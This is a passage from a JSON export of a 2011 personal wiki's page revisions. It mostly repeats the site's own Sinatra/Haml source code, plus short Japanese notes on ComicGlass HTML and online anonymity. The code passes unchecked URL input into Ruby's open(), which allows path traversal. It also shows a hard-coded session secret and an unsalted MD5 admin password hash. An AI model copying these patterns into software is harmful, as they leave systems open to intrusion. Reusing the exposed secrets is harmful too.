\"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end\r\n","created_at":"2011-05-25T06:35:12.000Z","updated_at":"2011-05-25T06:35:12.000Z"},{"id":1592,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n``` ruby\r\nrequire 'sinatra'\r\nrequire 'active_record'\r\nrequire 'haml'\r\nrequire 'bluecloth'\r\nrequire 'cgi'\r\nrequire 'rack/csrf'\r\nrequire 'logger'\r\n\r\nPASSWORD = \"ハッシュ化されたパスワード\"\r\n\r\nActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n)\r\n\r\nActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n#ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def html\r\n BlueCloth.new(self.body).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\nend\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'secret'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\nend\r\nget '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return haml :page\r\nend\r\n\r\npost '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]) != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.name}\"\r\n end\r\n end\r\nend\r\n\r\n__END__\r\n@@ page\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all~@page.html\r\n\r\n@@ edit\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:id]}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{params[:id]}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p\r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n```\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end\r\n","created_at":"2011-05-25T06:35:41.000Z","updated_at":"2011-05-25T06:35:41.000Z"},{"id":1593,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n``` ruby\r\nrequire 'sinatra'\r\nrequire 'active_record'\r\nrequire 'haml'\r\nrequire 'redcarpet'\r\nrequire 'cgi'\r\nrequire 'rack/csrf'\r\nrequire 'logger'\r\nrequire 'digest/md5'\r\n\r\nBlueCloth = Redcarpet\r\n\r\nPASSWORD = \"06f5f62397164780d969e64f0bbd057f\"\r\n\r\nActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n)\r\n\r\nActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n#ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def html\r\n if self.body.split(\"\\n\").first =~ /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n BlueCloth.new(str, :fenced_code, :generate_toc, :tables).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n\r\n def title\r\n if self.body.split(\"\\n\").first =~ /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n elsif self.body.split(\"\\n\").first =~ /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str\r\n end\r\n \r\n def haml\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\nend\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\nend\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n haml :edit\r\nend\r\n\r\nget '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return @page.haml if @page.body.split(\"\\n\").first =~ /^haml/\r\n return haml :page\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n redirect \"/edit/#{id}\" unless @page\r\n return @page.haml if @page.body.split(\"\\n\").first.chop == \"haml\"\r\n return haml :page\r\nend\r\n\r\npost '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n\r\n__END__\r\n@@ page\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all~@page.html\r\n\r\n@@ edit\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:id]}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n %form{:action =\u003e \"/destroy\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}\r\n\r\n\r\n```\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n class CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n \r\n def self.down\r\n drop_table :pages\r\n end\r\n end","created_at":"2011-05-25T06:38:05.000Z","updated_at":"2011-05-25T06:38:05.000Z"},{"id":1594,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n``` ruby\r\nrequire 'sinatra'\r\nrequire 'active_record'\r\nrequire 'haml'\r\nrequire 'redcarpet'\r\nrequire 'cgi'\r\nrequire 'rack/csrf'\r\nrequire 'logger'\r\nrequire 'digest/md5'\r\n\r\nBlueCloth = Redcarpet\r\n\r\nPASSWORD = \"06f5f62397164780d969e64f0bbd057f\"\r\n\r\nActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n)\r\n\r\nActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n#ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def html\r\n if self.body.split(\"\\n\").first =~ /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n BlueCloth.new(str, :fenced_code, :gh_blockcode).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n\r\n def title\r\n if self.body.split(\"\\n\").first =~ /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n elsif self.body.split(\"\\n\").first =~ /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str\r\n end\r\n \r\n def haml\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\nend\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\nend\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n haml :edit\r\nend\r\n\r\nget '/:id' do\r\n file = open(\"public/#{params[:id]}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e params[:id]).order(\"created_at desc\").first\r\n redirect \"/edit/#{params[:id]}\" unless @page\r\n return @page.haml if @page.body.split(\"\\n\").first =~ /^haml/\r\n return haml :page\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n redirect \"/edit/#{id}\" unless @page\r\n return @page.haml if @page.body.split(\"\\n\").first.chop == \"haml\"\r\n return haml :page\r\nend\r\n\r\npost '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n\r\n__END__\r\n@@ page\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n console.log(this);\r\n var code = $(this);\r\n var text = code.text();\r\n console.log(text);\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n\r\n@@ edit\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:id]}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n %form{:action =\u003e \"/destroy\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}\r\n\r\n```\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n\r\n```ruby\r\nclass CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n\r\n def self.down\r\n drop_table :pages\r\n end\r\nend\r\n```\r\n","created_at":"2011-05-25T07:13:08.000Z","updated_at":"2011-05-25T07:13:08.000Z"},{"id":1595,"name":"source","body":"# このサイトのソース\r\n\r\n## app.rb\r\n``` ruby\r\nrequire 'sinatra'\r\nrequire 'active_record'\r\nrequire 'haml'\r\nrequire 'redcarpet'\r\nrequire 'cgi'\r\nrequire 'rack/csrf'\r\nrequire 'logger'\r\nrequire 'digest/md5'\r\n\r\nBlueCloth = Redcarpet\r\n\r\nPASSWORD = \"06f5f62397164780d969e64f0bbd057f\"\r\n\r\nActiveRecord::Base.establish_connection(\r\n :adapter =\u003e 'sqlite3',\r\n :database =\u003e 'production.sqlite3'\r\n)\r\n\r\nActiveRecord::Base.logger = Logger.new(\"./database.log\")\r\n\r\n#ActiveRecord::Migrator.migrate(\"migrate/\", nil)\r\n\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def html\r\n if self.body.split(\"\\n\").first =~ /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n BlueCloth.new(str, :fenced_code, :gh_blockcode).to_html rescue \"\u003cpre\u003e#{self.body}\u003c/pre\u003e\"\r\n end\r\n\r\n def title\r\n if self.body.split(\"\\n\").first =~ /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n elsif self.body.split(\"\\n\").first =~ /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str\r\n end\r\n \r\n def haml\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\nend\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n @page = Page.where(:name =\u003e \"index\").order(\"created_at desc\").first\r\n redirect '/edit/index' unless @page\r\n haml :page\r\nend\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n haml :edit\r\nend\r\n\r\nget %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n redirect \"/edit/#{id}\" unless @page\r\n return @page.haml if @page.body.split(\"\\n\").first =~ /haml/\r\n return haml :page\r\nend\r\n\r\npost '/update' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n redirect \"/#{params[:id]}\"\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend\r\n\r\n__END__\r\n@@ page\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n%div#all~@page.html\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n console.log(this);\r\n var code = $(this);\r\n var text = code.text();\r\n console.log(text);\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n\r\n@@ edit\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h \"Edit - #{params[:id]}\"\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%div#all\r\n %form{:action =\u003e \"/update\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p\r\n %textarea{:cols =\u003e \"80\", :id =\u003e \"bodY\", :name =\u003e \"body\", :rows =\u003e \"30\"}=@page.body #rescue \"\"\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Save changes\"}\r\n %form{:action =\u003e \"/destroy\", :method =\u003e \"post\"}\r\n =Rack::Csrf.csrf_tag(env)\r\n %input{:id =\u003e \"id\", :name =\u003e \"id\", :type =\u003e \"hidden\", :value =\u003e \"#{@id}\"}\r\n %p \r\n %input{:id =\u003e \"password\", :name =\u003e \"password\", :type =\u003e \"password\"}\r\n %p\r\n %input{:name =\u003e \"commit\", :type =\u003e \"submit\", :value =\u003e \"Destroy\"}\r\n\r\n```\r\n\r\n\u003ch2\u003emigrate/0_create_page.rb\u003c/h2\u003e\r\n\r\n\r\n```ruby\r\nclass CreatePages \u003c ActiveRecord::Migration\r\n def self.up\r\n create_table :pages do |t|\r\n t.string :name\r\n t.text :body\r\n t.timestamps\r\n end\r\n add_index :pages, [:name, :created_at]\r\n add_index :pages, :name\r\n end\r\n\r\n def self.down\r\n drop_table :pages\r\n end\r\nend\r\n```","created_at":"2011-05-25T07:18:41.000Z","updated_at":"2011-05-25T07:18:41.000Z"},{"id":1596,"name":"others","body":"## ssig33.com other contents\r\n[女川町の様子](/onagawa)\r\n\r\n[Please](http://kure.ssig33.com/)\r\n\r\n[Arakawa Tomonori](/arakawatomonori)\r\n\r\n[Sitemap](/sitemap)\r\n\r\n[Blog(old)](/blog)\r\n\r\n\u003chr /\u003e\r\n[back to the top](/)","created_at":"2011-05-31T01:58:12.000Z","updated_at":"2011-05-31T01:58:12.000Z"},{"id":1597,"name":"comicglass/bad_knowhow","body":"title ComicGlass でのバッドノウハウ\r\n# ディレクトリリストやファイルリストを手書きする時の注意\r\nこれは駄目\r\n``` html\r\n\u003ca href='/comic'\u003ecomic\u003c/a\u003e\r\n```\r\nなので以下のように書きましょう\r\n``` html\r\n\u003ca href=\"/comic\"\u003ecomic\u003c/a\u003e\r\n```\r\n必然的に haml が使えなくなります(もしかしたらなんかオプションあるかもしれないけど未調査)。\r\n\r\nあとファイルへのパスは絶対パスで書くのが多分無難。ダルい。","created_at":"2011-05-31T01:59:14.000Z","updated_at":"2011-05-31T01:59:14.000Z"},{"id":1598,"name":"comicglass/bad_knowhow","body":"title ComicGlass でのバッドノウハウ\r\n# ディレクトリリストやファイルリストを手書きする時の注意\r\nこれは駄目\r\n\r\n```html\r\n\u003ca href='/comic'\u003ecomic\u003c/a\u003e\r\n```\r\n\r\nなので以下のように書きましょう\r\n\r\n```html\r\n\u003ca href=\"/comic\"\u003ecomic\u003c/a\u003e\r\n```\r\n\r\n必然的に haml が使えなくなります(もしかしたらなんかオプションあるかもしれないけど未調査)。\r\n\r\nあとファイルへのパスは絶対パスで書くのが多分無難。ダルい。","created_at":"2011-05-31T01:59:37.000Z","updated_at":"2011-05-31T01:59:37.000Z"},{"id":1599,"name":"jitsumei","body":"title ネットで実名を使おうが匿名で過そうがどっちでもいいただ一つの理由\r\n# ネットで実名を使おうが匿名で過そうがどっちでもいいただ一つの理由\r\n匿名で何か痛いことをした時、もし悪意のある人に観測されると、実名から住所から全部掘り返され晒されます。日頃からセキュリティに極めて高い意識を払わない限り無意識の個人情報の流出を止めることは不可能であると考えるべきです。ネットストーカーには対抗出来ません。\r\n\r\n匿名のセキュリティに幻想を持つのはやめとけ。","created_at":"2011-05-31T05:58:01.000Z","updated_at":"2011-05-31T05:58:01.000Z"},{"id":1600,"name":"jitsumei","body":"title ネットで実名を使おうが匿名で過そうがどっちでもいいただ一つの理由\r\n# ネットで実名を使おうが匿名で過そうがどっちでもいいただ一つの理由\r\n匿名で何か痛いことをした時、もし悪意のある人に観測されると、実名から住所から全部掘り返され晒されます。日頃からセキュリティに極めて高い意識を払わない限り無意識の個人情報の流出を止めることは不可能であると考えるべきです。ネットストーカーには対抗出来ません。\r\n\r\n匿名のセキュリティに幻想を持つのはやめとけ。","created_at":"2011-05-31T05:58:59.000Z","updated_at":"2011-05-31T05:58:59.000Z"},{"id":1601,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Post.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|p|\r\n flag = false if p.first == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.body\r\n xml.pubDate Time.parse(post.created_at.to_s).rfc822()\r\n xml.guid \"http://ssig33.com/#{post.name}\"\r\n end\r\n end\r\n end\r\nend\r\n","created_at":"2011-05-31T07:44:43.000Z","updated_at":"2011-05-31T07:44:43.000Z"},{"id":1602,"name":"feed","body":"builder 更新情報\r\n# vim: set ft=ruby:\r\nxml.instruct!\r\nxml.rss :version =\u003e \"2.0\" do\r\n xml.channel do\r\n xml.title \"ssig33.com - recent update\"\r\n xml.description \"ssig33's web site\"\r\n xml.link \"http://ssig33.com\"\r\n posts = []\r\n Page.order(\"created_at desc\").limit(40).each{|p|\r\n flag = true\r\n posts.each{|p|\r\n flag = false if p.first == p.name\r\n }\r\n posts \u003c\u003c p if flag\r\n }\r\n posts.each do |post|\r\n xml.item do\r\n xml.title post.name\r\n xml.link \"http://ssig33.com/#{post.name}\"\r\n xml.description post.body\r\n 